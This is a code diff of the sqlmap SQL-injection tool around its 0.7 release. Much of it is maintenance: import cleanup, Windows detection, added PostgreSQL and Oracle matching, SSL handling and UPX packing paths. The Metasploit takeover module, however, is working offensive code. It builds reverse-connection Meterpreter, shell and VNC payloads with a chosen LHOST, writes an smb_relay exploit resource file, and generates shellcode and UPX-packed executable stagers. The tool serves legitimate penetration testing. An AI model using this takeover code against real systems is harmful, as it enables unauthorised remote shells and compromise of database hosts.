parseTargetUrl()
|
||||
|
||||
__setHTTPTimeout()
|
||||
__setHTTPCookies()
|
||||
__setHTTPReferer()
|
||||
|
||||
@@ -32,6 +32,7 @@ boolean and _outputfile variable used in genutils.
|
||||
import sys
|
||||
|
||||
from lib.core.data import logger
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import PLATFORM
|
||||
|
||||
|
||||
@@ -49,7 +50,7 @@ except ImportError:
|
||||
except ImportError:
|
||||
haveReadline = False
|
||||
|
||||
if 'win' in PLATFORM and haveReadline:
|
||||
if IS_WIN is True and haveReadline:
|
||||
try:
|
||||
_outputfile=_rl.GetOutputFile()
|
||||
except AttributeError:
|
||||
|
||||
@@ -34,6 +34,8 @@ from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import PGSQL_ALIASES
|
||||
from lib.core.settings import ORACLE_ALIASES
|
||||
|
||||
|
||||
def setString():
|
||||
@@ -133,8 +135,10 @@ def setDbms(dbms):
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms))
|
||||
|
||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
||||
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]),
|
||||
"|".join([alias for alias in PGSQL_ALIASES]),
|
||||
"|".join([alias for alias in ORACLE_ALIASES]))
|
||||
dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I)
|
||||
|
||||
if dbmsRegExp:
|
||||
@@ -369,19 +373,22 @@ def resumeConfKb(expression, url, value):
|
||||
|
||||
elif expression == "DBMS" and url == conf.url:
|
||||
dbms = value[:-1]
|
||||
dbms = dbms.lower()
|
||||
dbmsVersion = None
|
||||
|
||||
logMsg = "resuming back-end DBMS '%s' " % dbms
|
||||
logMsg += "from session file"
|
||||
logger.info(logMsg)
|
||||
|
||||
dbms = dbms.lower()
|
||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
||||
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]),
|
||||
"|".join([alias for alias in PGSQL_ALIASES]),
|
||||
"|".join([alias for alias in ORACLE_ALIASES]))
|
||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
|
||||
|
||||
if dbmsRegExp:
|
||||
dbms = dbmsRegExp.group(1)
|
||||
kb.dbmsVersion = [ dbmsRegExp.group(2) ]
|
||||
dbmsVersion = [ dbmsRegExp.group(2) ]
|
||||
|
||||
if conf.dbms and conf.dbms.lower() != dbms:
|
||||
message = "you provided '%s' as back-end DBMS, " % conf.dbms
|
||||
@@ -393,8 +400,10 @@ def resumeConfKb(expression, url, value):
|
||||
|
||||
if not test or test[0] in ("n", "N"):
|
||||
conf.dbms = dbms
|
||||
kb.dbmsVersion = dbmsVersion
|
||||
else:
|
||||
conf.dbms = dbms
|
||||
kb.dbmsVersion = dbmsVersion
|
||||
|
||||
elif expression == "OS" and url == conf.url:
|
||||
os = value[:-1]
|
||||
|
||||
@@ -25,12 +25,12 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
|
||||
# sqlmap version and site
|
||||
VERSION = "0.7rc1"
|
||||
VERSION = "0.7"
|
||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||
SITE = "http://sqlmap.sourceforge.net"
|
||||
|
||||
@@ -47,6 +47,7 @@ LOGGER.addHandler(LOGGER_HANDLER)
|
||||
LOGGER.setLevel(logging.WARN)
|
||||
|
||||
# System variables
|
||||
IS_WIN = subprocess.mswindows
|
||||
PLATFORM = sys.platform.lower()
|
||||
PYVERSION = sys.version.split()[0]
|
||||
|
||||
|
||||
@@ -73,8 +73,8 @@ class CompleterNG(rlcompleter.Completer):
|
||||
matches = []
|
||||
n = len(text)
|
||||
|
||||
for list in [ self.namespace ]:
|
||||
for word in list:
|
||||
for ns in [ self.namespace ]:
|
||||
for word in ns:
|
||||
if word[:n] == text:
|
||||
matches.append(word)
|
||||
|
||||
|
||||
@@ -24,16 +24,20 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import fcntl
|
||||
import errno
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
|
||||
from lib.core.settings import IS_WIN
|
||||
|
||||
if (sys.hexversion >> 16) >= 0x202:
|
||||
|
||||
if IS_WIN is not True:
|
||||
import fcntl
|
||||
|
||||
if (sys.hexversion >> 16) >= 0x202:
|
||||
FCNTL = fcntl
|
||||
else:
|
||||
else:
|
||||
import FCNTL
|
||||
|
||||
|
||||
@@ -84,6 +88,7 @@ def setNonBlocking(fd):
|
||||
Make a file descriptor non-blocking
|
||||
"""
|
||||
|
||||
if IS_WIN is not True:
|
||||
flags = fcntl.fcntl(fd, FCNTL.F_GETFL)
|
||||
flags = flags | os.O_NONBLOCK
|
||||
fcntl.fcntl(fd, FCNTL.F_SETFL, flags)
|
||||
|
||||
@@ -25,17 +25,14 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
import os
|
||||
import re
|
||||
import time
|
||||
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import paramToDict
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import urldecode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
|
||||
@@ -109,12 +109,15 @@ def __updateMSSQLXML():
|
||||
servicePack = servicePack[:servicePack.index("-")]
|
||||
if "*" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("*")]
|
||||
if servicePack.startswith("+"):
|
||||
servicePack = "0%s" % servicePack
|
||||
|
||||
servicePack = servicePack.replace("\t", " ")
|
||||
servicePack = servicePack.replace(" ", " ")
|
||||
servicePack = servicePack.replace("No SP", "0")
|
||||
servicePack = servicePack.replace("RTM", "0")
|
||||
servicePack = servicePack.replace("SP", "")
|
||||
servicePack = servicePack.replace("Service Pack", "")
|
||||
servicePack = servicePack.replace("<a href=\"http:", "")
|
||||
|
||||
if servicePack.endswith(" "):
|
||||
@@ -205,7 +208,7 @@ def __createFile(pathname, data):
|
||||
fileFP.close()
|
||||
|
||||
|
||||
def __extractZipFile(tempDir, zipFile, sqlmapNewestVersion):
|
||||
def __extractZipFile(tempDir, zipFile):
|
||||
# Check if the saved binary file is really a ZIP file
|
||||
if zipfile.is_zipfile(zipFile):
|
||||
sqlmapZipFile = zipfile.ZipFile(zipFile)
|
||||
@@ -285,13 +288,13 @@ def __updateSqlmap():
|
||||
tempDir = tempfile.gettempdir()
|
||||
zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion)
|
||||
__createFile(zipFile, sqlmapBinaryString)
|
||||
__extractZipFile(tempDir, zipFile, sqlmapNewestVersion)
|
||||
__extractZipFile(tempDir, zipFile)
|
||||
|
||||
# For each file and directory in the temporary directory copy it
|
||||
# to the sqlmap root path and set right permission
|
||||
# TODO: remove files not needed anymore and all pyc within the
|
||||
# sqlmap root path in the end
|
||||
for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
|
||||
for root, _, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
|
||||
# Just for development release
|
||||
if '.svn' in root:
|
||||
continue
|
||||
|
||||
@@ -245,7 +245,7 @@ def cmdLineParser():
|
||||
|
||||
enumeration.add_option("--dump", dest="dumpTable", action="store_true",
|
||||
help="Dump DBMS database table entries "
|
||||
"(req -T, opt -D, -C, --start, --stop)")
|
||||
"(req -T, opt -D, -C)")
|
||||
|
||||
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
|
||||
help="Dump all DBMS databases tables entries")
|
||||
@@ -268,10 +268,10 @@ def cmdLineParser():
|
||||
"enumerating tables")
|
||||
|
||||
enumeration.add_option("--start", dest="limitStart", type="int",
|
||||
help="First table entry to dump")
|
||||
help="First query output entry to retrieve")
|
||||
|
||||
enumeration.add_option("--stop", dest="limitStop", type="int",
|
||||
help="Last table entry to dump")
|
||||
help="Last query output entry to retrieve")
|
||||
|
||||
enumeration.add_option("--sql-query", dest="query",
|
||||
help="SQL statement to be executed")
|
||||
|
||||
@@ -29,7 +29,6 @@ import re
|
||||
from xml.sax.handler import ContentHandler
|
||||
|
||||
from lib.core.common import sanitizeStr
|
||||
from lib.core.data import kb
|
||||
|
||||
|
||||
class FingerprintHandler(ContentHandler):
|
||||
|
||||
@@ -24,8 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from xml.sax import parse
|
||||
|
||||
from lib.core.common import checkFile
|
||||
|
||||
@@ -24,11 +24,11 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import re
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import paths
|
||||
from lib.parse.headers import headersParser
|
||||
from lib.parse.html import htmlParser
|
||||
|
||||
@@ -73,8 +73,11 @@ def parseResponse(page, headers):
|
||||
# Detect injectable page absolute system path
|
||||
# NOTE: this regular expression works if the remote web application
|
||||
# is written in PHP and debug/error messages are enabled.
|
||||
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I)
|
||||
absFilePathsRegExp = ( " in <b>(.*?)</b> on line", "([\w]\:[\/\\\\]+)" )
|
||||
|
||||
for absFilePathRegExp in absFilePathsRegExp:
|
||||
absFilePaths = re.findall(absFilePathRegExp, page, re.I)
|
||||
|
||||
for absFilePath in absFilePaths:
|
||||
if absFilePath not in kb.absFilePaths:
|
||||
kb.absFilePaths.add(absFilePath)
|
||||
kb.absFilePaths.add(os.path.dirname(absFilePath))
|
||||
|
||||
@@ -26,7 +26,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.convert import md5hash
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.session import setMatchRatio
|
||||
|
||||
@@ -92,6 +92,9 @@ class Connect:
|
||||
url = "%s?%s" % (url, params)
|
||||
requestMsg += "?%s" % params
|
||||
|
||||
if post:
|
||||
post = urlencode(post).replace("%%", "%")
|
||||
|
||||
elif multipart:
|
||||
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
|
||||
conn = multipartOpener.open(url, multipart)
|
||||
@@ -210,7 +213,7 @@ class Connect:
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
return Connect.__getPageProxy(get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart)
|
||||
return Connect.__getPageProxy(url=url, get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart, silent=silent)
|
||||
|
||||
else:
|
||||
raise sqlmapConnectionException, warnMsg
|
||||
|
||||
@@ -33,7 +33,6 @@ from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import expandAsteriskForColumns
|
||||
from lib.core.common import parseUnionPage
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import replaceNewlineTabs
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
|
||||
@@ -29,6 +29,12 @@ import socket
|
||||
import urllib
|
||||
import urllib2
|
||||
|
||||
from lib.core.settings import PYVERSION
|
||||
|
||||
|
||||
if PYVERSION >= "2.6":
|
||||
import ssl
|
||||
|
||||
|
||||
class ProxyHTTPConnection(httplib.HTTPConnection):
|
||||
_ports = {"http" : 80, "https" : 443}
|
||||
@@ -57,7 +63,7 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
|
||||
self._real_host = host
|
||||
self._real_port = int(port)
|
||||
|
||||
httplib.HTTPConnection.request(self, method, url, body, headers)
|
||||
httplib.HTTPConnection.request(self, method, rest, body, headers)
|
||||
|
||||
|
||||
def connect(self):
|
||||
@@ -89,7 +95,7 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
|
||||
class ProxyHTTPSConnection(ProxyHTTPConnection):
|
||||
default_port = 443
|
||||
|
||||
def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None):
|
||||
def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None, timeout=None):
|
||||
ProxyHTTPConnection.__init__(self, host, port)
|
||||
self.key_file = key_file
|
||||
self.cert_file = cert_file
|
||||
@@ -98,8 +104,12 @@ class ProxyHTTPSConnection(ProxyHTTPConnection):
|
||||
ProxyHTTPConnection.connect(self)
|
||||
|
||||
# Make the sock ssl-aware
|
||||
ssl = socket.ssl(self.sock, self.key_file, self.cert_file)
|
||||
self.sock = httplib.FakeSocket(self.sock, ssl)
|
||||
if PYVERSION >= "2.6":
|
||||
sslobj = ssl.wrap_socket(self.sock, self.key_file, self.cert_file)
|
||||
self.sock = sslobj
|
||||
else:
|
||||
sslobj = socket.ssl(self.sock, self.key_file, self.cert_file)
|
||||
self.sock = httplib.FakeSocket(self.sock, sslobj)
|
||||
|
||||
|
||||
class ProxyHTTPHandler(urllib2.HTTPHandler):
|
||||
|
||||
@@ -29,6 +29,7 @@ from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.core.shell import autoCompletion
|
||||
from lib.takeover.udf import UDF
|
||||
from lib.takeover.xp_cmdshell import xp_cmdshell
|
||||
|
||||
@@ -24,11 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import os
|
||||
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.session import setDEP
|
||||
|
||||
@@ -62,6 +62,7 @@ class Metasploit:
|
||||
|
||||
def __initVars(self):
|
||||
self.connectionStr = None
|
||||
self.lhostStr = None
|
||||
self.rhostStr = None
|
||||
self.portStr = None
|
||||
self.payloadStr = None
|
||||
@@ -79,9 +80,11 @@ class Metasploit:
|
||||
|
||||
self.__msfPayloadsList = {
|
||||
"windows": {
|
||||
1: ( "Meterpreter (default)", "windows/meterpreter" ),
|
||||
2: ( "Shell", "windows/shell" ),
|
||||
3: ( "VNC", "windows/vncinject" ),
|
||||
1: ( "Reflective Meterpreter (default)", "windows/meterpreter" ),
|
||||
2: ( "PatchUp Meterpreter (only from Metasploit development revision 6742)", "windows/patchupmeterpreter" ),
|
||||
3: ( "Shell", "windows/shell" ),
|
||||
4: ( "Reflective VNC", "windows/vncinject" ),
|
||||
5: ( "PatchUp VNC (only from Metasploit development revision 6742)", "windows/patchupvncinject" ),
|
||||
},
|
||||
"linux": {
|
||||
1: ( "Shell", "linux/x86/shell" ),
|
||||
@@ -134,20 +137,20 @@ class Metasploit:
|
||||
|
||||
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
|
||||
if kb.os == "Windows":
|
||||
os = "windows"
|
||||
opSys = "windows"
|
||||
else:
|
||||
os = "linux"
|
||||
opSys = "linux"
|
||||
|
||||
message = "which %s do you want to use?" % msg
|
||||
|
||||
if lst:
|
||||
for num, data in lst[os].items():
|
||||
for num, data in lst[opSys].items():
|
||||
description = data[0]
|
||||
|
||||
if num > maxValue:
|
||||
maxValue = num
|
||||
|
||||
if "default" in description:
|
||||
if "(default)" in description:
|
||||
default = num
|
||||
|
||||
message += "\n[%d] %s" % (num, description)
|
||||
@@ -173,7 +176,7 @@ class Metasploit:
|
||||
choice = int(choice)
|
||||
|
||||
if lst:
|
||||
choice = lst[os][choice][1]
|
||||
choice = lst[opSys][choice][1]
|
||||
|
||||
return choice
|
||||
|
||||
@@ -229,7 +232,7 @@ class Metasploit:
|
||||
if choose == True:
|
||||
message = "what do you want to do?\n"
|
||||
message += "[1] Give it a try anyway\n"
|
||||
message += "[2] Fall back to Meterpreter payload (default)\n"
|
||||
message += "[2] Fall back to reflective Meterpreter payload (default)\n"
|
||||
message += "[3] Fall back to Shell payload"
|
||||
|
||||
while True:
|
||||
@@ -298,12 +301,30 @@ class Metasploit:
|
||||
raise sqlmapDataException, "unexpected connection type"
|
||||
|
||||
|
||||
def __selectLhost(self):
|
||||
if self.connectionStr.startswith("reverse") or self.resourceFile != None:
|
||||
message = "which is the local address? [%s] " % self.localIP
|
||||
address = readInput(message, default=self.localIP)
|
||||
|
||||
if not address:
|
||||
address = self.localIP
|
||||
|
||||
return address
|
||||
|
||||
elif self.connectionStr.startswith("bind"):
|
||||
return None
|
||||
|
||||
else:
|
||||
raise sqlmapDataException, "unexpected connection type"
|
||||
|
||||
|
||||
def __selectConnection(self):
|
||||
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
|
||||
|
||||
|
||||
def __prepareIngredients(self, encode=True, askChurrasco=True):
|
||||
self.connectionStr = self.__selectConnection()
|
||||
self.lhostStr = self.__selectLhost()
|
||||
self.rhostStr = self.__selectRhost()
|
||||
self.portStr = self.__selectPort()
|
||||
self.payloadStr = self.__selectPayload(askChurrasco)
|
||||
@@ -323,7 +344,7 @@ class Metasploit:
|
||||
self.__cliCmd += " RHOST=%s" % self.rhostStr
|
||||
|
||||
elif self.connectionStr.startswith("reverse"):
|
||||
self.__cliCmd += " LHOST=%s" % self.localIP
|
||||
self.__cliCmd += " LHOST=%s" % self.lhostStr
|
||||
|
||||
else:
|
||||
raise sqlmapDataException, "unexpected connection type"
|
||||
@@ -336,10 +357,12 @@ class Metasploit:
|
||||
|
||||
|
||||
def __forgeMsfConsoleResource(self):
|
||||
self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile)
|
||||
|
||||
self.__prepareIngredients(encode=False, askChurrasco=False)
|
||||
|
||||
self.__resource = "use windows/smb/smb_relay\n"
|
||||
self.__resource += "set SRVHOST %s\n" % self.localIP
|
||||
self.__resource += "set SRVHOST %s\n" % self.lhostStr
|
||||
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
|
||||
self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr)
|
||||
self.__resource += "set LPORT %s\n" % self.portStr
|
||||
@@ -348,43 +371,48 @@ class Metasploit:
|
||||
self.__resource += "set RHOST %s\n" % self.rhostStr
|
||||
|
||||
elif self.connectionStr.startswith("reverse"):
|
||||
self.__resource += "set LHOST %s\n" % self.localIP
|
||||
self.__resource += "set LHOST %s\n" % self.lhostStr
|
||||
|
||||
else:
|
||||
raise sqlmapDataException, "unexpected connection type"
|
||||
|
||||
self.__resource += "exploit\n"
|
||||
|
||||
self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile)
|
||||
self.resourceFp = open(self.resourceFile, "w")
|
||||
|
||||
self.resourceFp.write(self.__resource)
|
||||
self.resourceFp.close()
|
||||
|
||||
|
||||
def __forgeMsfPayloadCmd(self, exitfunc="process", output="exe", extra=None):
|
||||
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
|
||||
self.__payloadCmd = self.__msfPayload
|
||||
self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr)
|
||||
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
|
||||
self.__payloadCmd += " LPORT=%s" % self.portStr
|
||||
|
||||
if self.connectionStr.startswith("reverse"):
|
||||
self.__payloadCmd += " LHOST=%s" % self.localIP
|
||||
self.__payloadCmd += " LHOST=%s" % self.lhostStr
|
||||
|
||||
elif not self.connectionStr.startswith("bind"):
|
||||
raise sqlmapDataException, "unexpected connection type"
|
||||
|
||||
if kb.os == "Windows":
|
||||
self.__payloadCmd += " R | %s -e %s -t %s" % (self.__msfEncode, self.encoderStr, output)
|
||||
self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
|
||||
|
||||
if extra is not None:
|
||||
self.__payloadCmd += " %s" % extra
|
||||
|
||||
# NOTE: payload stager for Linux can only be encoded if the
|
||||
# Metasploit working copy has been updated after May 11, 2009
|
||||
# (http://trac.metasploit.com/changeset/6543)
|
||||
#
|
||||
# TODO: remember to update this code as soon as Metasploit
|
||||
# Framework 3.3 is out officially and update the user's manual to
|
||||
# notify that sqlmap depends upon Metasploit Framework 3.3
|
||||
else:
|
||||
self.__payloadCmd += " X"
|
||||
self.__payloadCmd += " X > %s" % outFile
|
||||
|
||||
|
||||
def __runMsfCli(self, exitfunc="process"):
|
||||
def __runMsfCli(self, exitfunc):
|
||||
self.__forgeMsfCliCmd(exitfunc)
|
||||
|
||||
infoMsg = "running Metasploit Framework 3 command line "
|
||||
@@ -392,7 +420,6 @@ class Metasploit:
|
||||
logger.info(infoMsg)
|
||||
|
||||
logger.debug("executing local command: %s" % self.__cliCmd)
|
||||
|
||||
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
||||
|
||||
|
||||
@@ -401,7 +428,6 @@ class Metasploit:
|
||||
logger.info(infoMsg)
|
||||
|
||||
logger.debug("executing local command: %s" % self.__consoleCmd)
|
||||
|
||||
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
||||
|
||||
|
||||
@@ -496,7 +522,7 @@ class Metasploit:
|
||||
|
||||
metSess = re.search("Meterpreter session ([\d]+) opened", out)
|
||||
|
||||
if metSess and self.payloadStr == "windows/meterpreter":
|
||||
if metSess:
|
||||
self.__loadMetExtensions(proc, metSess.group(1))
|
||||
|
||||
except EOFError:
|
||||
@@ -511,16 +537,15 @@ class Metasploit:
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.__randStr = randomStr(lowercase=True)
|
||||
self.shellcodeChar = ""
|
||||
self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
|
||||
self.__shellcodeFileP = open(self.__shellcodeFilePath, "wb")
|
||||
self.shellcodeChar = ""
|
||||
|
||||
self.__initVars()
|
||||
self.__prepareIngredients(askChurrasco=False)
|
||||
self.__forgeMsfPayloadCmd(exitfunc="seh", output="raw", extra="-b \"\\x00\\x27\"")
|
||||
self.__forgeMsfPayloadCmd("seh", "raw", self.__shellcodeFilePath, "-b \"\\x00\\x27\"")
|
||||
|
||||
logger.debug("executing local command: %s" % self.__payloadCmd)
|
||||
process = execute(self.__payloadCmd, shell=True, stdout=self.__shellcodeFileP, stderr=PIPE)
|
||||
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
|
||||
|
||||
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
||||
pollProcess(process)
|
||||
@@ -531,19 +556,18 @@ class Metasploit:
|
||||
else:
|
||||
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
||||
|
||||
self.__shellcodeFileP.close()
|
||||
|
||||
if payloadSize:
|
||||
payloadSize = payloadSize.group(1)
|
||||
|
||||
debugMsg = "the shellcode size is %s bytes" % payloadSize
|
||||
logger.debug(debugMsg)
|
||||
else:
|
||||
raise sqlmapFilePathException, "failed to create the shellcode"
|
||||
errMsg = "failed to create the shellcode (%s)" % payloadStderr
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
self.__shellcodeFileP = open(self.__shellcodeFilePath, "rb")
|
||||
self.__shellcodeString = self.__shellcodeFileP.read()
|
||||
self.__shellcodeFileP.close()
|
||||
self.__shellcodeFP = open(self.__shellcodeFilePath, "rb")
|
||||
self.__shellcodeString = self.__shellcodeFP.read()
|
||||
self.__shellcodeFP.close()
|
||||
|
||||
os.unlink(self.__shellcodeFilePath)
|
||||
|
||||
@@ -567,10 +591,10 @@ class Metasploit:
|
||||
|
||||
if kb.os == "Windows":
|
||||
self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr)
|
||||
self.__fileFormat = "exe"
|
||||
else:
|
||||
self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
|
||||
|
||||
self.__exeFileP = open(self.exeFilePathLocal, "wb")
|
||||
self.__fileFormat = "elf"
|
||||
|
||||
if initialize == True:
|
||||
self.__initVars()
|
||||
@@ -578,10 +602,10 @@ class Metasploit:
|
||||
if self.payloadStr == None:
|
||||
self.__prepareIngredients()
|
||||
|
||||
self.__forgeMsfPayloadCmd()
|
||||
self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
|
||||
|
||||
logger.debug("executing local command: %s" % self.__payloadCmd)
|
||||
process = execute(self.__payloadCmd, shell=True, stdout=self.__exeFileP, stderr=PIPE)
|
||||
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
|
||||
|
||||
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
||||
pollProcess(process)
|
||||
@@ -592,8 +616,6 @@ class Metasploit:
|
||||
else:
|
||||
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
||||
|
||||
self.__exeFileP.close()
|
||||
|
||||
os.chmod(self.exeFilePathLocal, stat.S_IRWXU)
|
||||
|
||||
if payloadSize:
|
||||
@@ -602,7 +624,7 @@ class Metasploit:
|
||||
packedSize = upx.pack(self.exeFilePathLocal)
|
||||
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
|
||||
|
||||
if packedSize:
|
||||
if packedSize and packedSize != exeSize:
|
||||
debugMsg += "as a compressed portable executable its size "
|
||||
debugMsg += "is %d bytes, decompressed it " % packedSize
|
||||
debugMsg += "was %s bytes large" % exeSize
|
||||
@@ -612,7 +634,8 @@ class Metasploit:
|
||||
|
||||
logger.debug(debugMsg)
|
||||
else:
|
||||
raise sqlmapFilePathException, "failed to create the payload stager"
|
||||
errMsg = "failed to create the payload stager (%s)" % payloadStderr
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
|
||||
def uploadMsfPayloadStager(self):
|
||||
@@ -625,7 +648,7 @@ class Metasploit:
|
||||
|
||||
|
||||
def pwn(self):
|
||||
self.__runMsfCli()
|
||||
self.__runMsfCli(exitfunc="process")
|
||||
|
||||
if self.connectionStr.startswith("bind"):
|
||||
self.__runMsfPayloadRemote()
|
||||
@@ -639,13 +662,14 @@ class Metasploit:
|
||||
self.__initVars()
|
||||
self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True)
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.localIP, self.__randFile)
|
||||
else:
|
||||
self.uncPath = "\\\\%s\\%s" % (self.localIP, self.__randFile)
|
||||
|
||||
self.__forgeMsfConsoleResource()
|
||||
self.__forgeMsfConsoleCmd()
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
|
||||
else:
|
||||
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)
|
||||
|
||||
self.__runMsfConsole()
|
||||
|
||||
debugMsg = "Metasploit Framework 3 console exited with return "
|
||||
|
||||
@@ -25,7 +25,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
|
||||
from subprocess import PIPE
|
||||
@@ -49,11 +48,22 @@ class UPX:
|
||||
"""
|
||||
|
||||
def __initialize(self, srcFile, dstFile=None):
|
||||
if "win" in PLATFORM:
|
||||
if "darwin" in PLATFORM:
|
||||
self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||
|
||||
elif "win" in PLATFORM:
|
||||
self.__upxPath = "%s/upx/windows/upx.exe" % paths.SQLMAP_CONTRIB_PATH
|
||||
|
||||
elif "linux" in PLATFORM:
|
||||
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||
|
||||
else:
|
||||
warnMsg = "unsupported platform for the compression tool "
|
||||
warnMsg += "(upx), sqlmap will continue anyway"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||
|
||||
self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile)
|
||||
|
||||
if dstFile:
|
||||
@@ -68,15 +78,25 @@ class UPX:
|
||||
|
||||
dataToStdout("\r[%s] [INFO] compression in progress " % time.strftime("%X"))
|
||||
pollProcess(process)
|
||||
upxStderr = process.communicate()[1]
|
||||
upxStdout, upxStderr = process.communicate()
|
||||
|
||||
if upxStderr:
|
||||
logger.warn("failed to compress the file")
|
||||
warnMsg = "failed to compress the file"
|
||||
|
||||
if "NotCompressibleException" in upxStdout:
|
||||
warnMsg += " because you provided a Metasploit version above "
|
||||
warnMsg += "3.3-dev revision 6681. This will not inficiate "
|
||||
warnMsg += "the correct execution of sqlmap. It might "
|
||||
warnMsg += "only slow down a bit the execution of sqlmap"
|
||||
logger.info(warnMsg)
|
||||
|
||||
elif upxStderr:
|
||||
